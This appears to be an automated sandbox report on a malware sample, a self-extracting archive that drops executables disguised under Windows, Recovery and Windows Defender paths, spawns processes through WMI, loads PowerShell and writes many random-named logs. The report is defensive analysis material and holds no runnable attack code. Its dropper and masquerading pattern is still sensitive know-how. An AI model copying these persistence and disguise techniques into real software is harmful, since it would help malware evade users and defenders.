Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: version.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: windows.storage.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: wldp.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: profapi.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: cryptsp.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: rsaenh.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: cryptbase.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: sspicli.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: ktmw32.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: amsi.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: userenv.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: dnsapi.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: winnsi.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: rasapi32.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: rasman.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: rtutils.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: mswsock.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: winhttp.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: uxtheme.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: winmm.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: winmmbase.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: mmdevapi.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: devobj.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: ksuser.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: avrt.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: audioses.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: powrprof.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: umpdc.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: msacm32.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: midimap.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: edputil.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: dwrite.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: ntmarta.dll
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: hz7DzW2Yop.exe

Static file information: File size 2926873 > 1048576

Source: hz7DzW2Yop.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: hz7DzW2Yop.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: hz7DzW2Yop.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: hz7DzW2Yop.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: hz7DzW2Yop.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: hz7DzW2Yop.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: hz7DzW2Yop.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: hz7DzW2Yop.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: hz7DzW2Yop.exe, 00000000.00000003.1669057871.000000000620B000.00000004.00000020.00020000.00000000.sdmp, hz7DzW2Yop.exe, 00000000.00000000.1666308899.0000000000933000.00000002.00000001.01000000.00000003.sdmp, hz7DzW2Yop.exe, 00000000.00000003.1669587198.0000000006A09000.00000004.00000020.00020000.00000000.sdmp, hz7DzW2Yop.exe, 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: yC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp

Source: hz7DzW2Yop.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: hz7DzW2Yop.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: hz7DzW2Yop.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: hz7DzW2Yop.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: hz7DzW2Yop.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

File created: C:\HyperWebbroker\__tmp_rar_sfx_access_check_5763437

Jump to behavior

Source: hz7DzW2Yop.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0091F640 push ecx; ret	0_2_0091F653
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0091EB78 push eax; ret	0_2_0091EB96
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BBA12A4 push cs; retf	5_2_00007FFD9BBA12A7
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BBA8147 push ebx; ret	5_2_00007FFD9BBA816A
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BB96FF0 push esp; iretd	5_2_00007FFD9BB96FF1
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BBA7547 push ebx; iretd	5_2_00007FFD9BBA756A
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Code function: 5_2_00007FFD9BC375A1 push ss; retf	5_2_00007FFD9BC375A7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9B8ED2A5 pushad ; iretd	21_2_00007FFD9B8ED2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BA0ADE8 push E956CEA2h; ret	21_2_00007FFD9BA0AE29
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BA0BAE8 push E85A63D7h; ret	21_2_00007FFD9BA0BAF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BA03EEE pushad ; iretd	21_2_00007FFD9BA03F9B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9BAD2316 push 8B485F93h; iretd	21_2_00007FFD9BAD231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9B8ED2A5 pushad ; iretd	22_2_00007FFD9B8ED2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BA03EEE pushad ; iretd	22_2_00007FFD9BA03F9B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BAD2316 push 8B485F93h; iretd	22_2_00007FFD9BAD231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD9B8DD2A5 pushad ; iretd	24_2_00007FFD9B8DD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD9B9FBAE8 push E85A64D7h; ret	24_2_00007FFD9B9FBAF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD9B9FADF7 push E956CFA2h; ret	24_2_00007FFD9B9FAE29
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD9BAC2316 push 8B485F94h; iretd	24_2_00007FFD9BAC231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD9B90D2A5 pushad ; iretd	26_2_00007FFD9B90D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD9BAF2316 push 8B485F91h; iretd	26_2_00007FFD9BAF231B
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 35_2_00007FFD9BA61B85 push ecx; iretd	35_2_00007FFD9BA61BB4
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 35_2_00007FFD9BA6593D push cs; retf	35_2_00007FFD9BA6597F
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 35_2_00007FFD9BA23FA2 pushad ; retf	35_2_00007FFD9BA23FA5
Source: C:\Recovery\uAsLgsGzSk.exe	Code function: 35_2_00007FFD9BA2C900 push es; iretd	35_2_00007FFD9BA2C907

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe

Executable created and started: C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\IitSDvGY.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\CvvLBlqK.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\zHJVyCcw.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\qeoNTMEG.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\LqKTzAAu.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Recovery\uAsLgsGzSk.exe	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\FyhuXVvF.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\hnxxzxgb.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\eIxzTFKJ.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\JwbtnRPV.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\maPwcuvP.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\mlFoDzaq.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\GvICsVKA.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\zIxCDFUn.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\qTMMgMAe.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\xRAMIbuT.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\HupKRiKa.log	Jump to dropped file
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	File created: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\htcPaTVC.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Recovery\SystemSettings.exe	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\vJjMMWBx.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\QdcRcxPi.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\NVLRgsWM.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File created: C:\Users\user\Desktop\vPOensqX.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\cIDyHnkk.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Jump to dropped file

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe

File created: C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Jump to dropped file

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\NVLRgsWM.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\vJjMMWBx.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\maPwcuvP.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\HupKRiKa.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\cIDyHnkk.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\JwbtnRPV.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\zIxCDFUn.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\zHJVyCcw.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\IitSDvGY.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\hnxxzxgb.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File created: C:\Users\user\Desktop\qeoNTMEG.log	Jump to dropped file
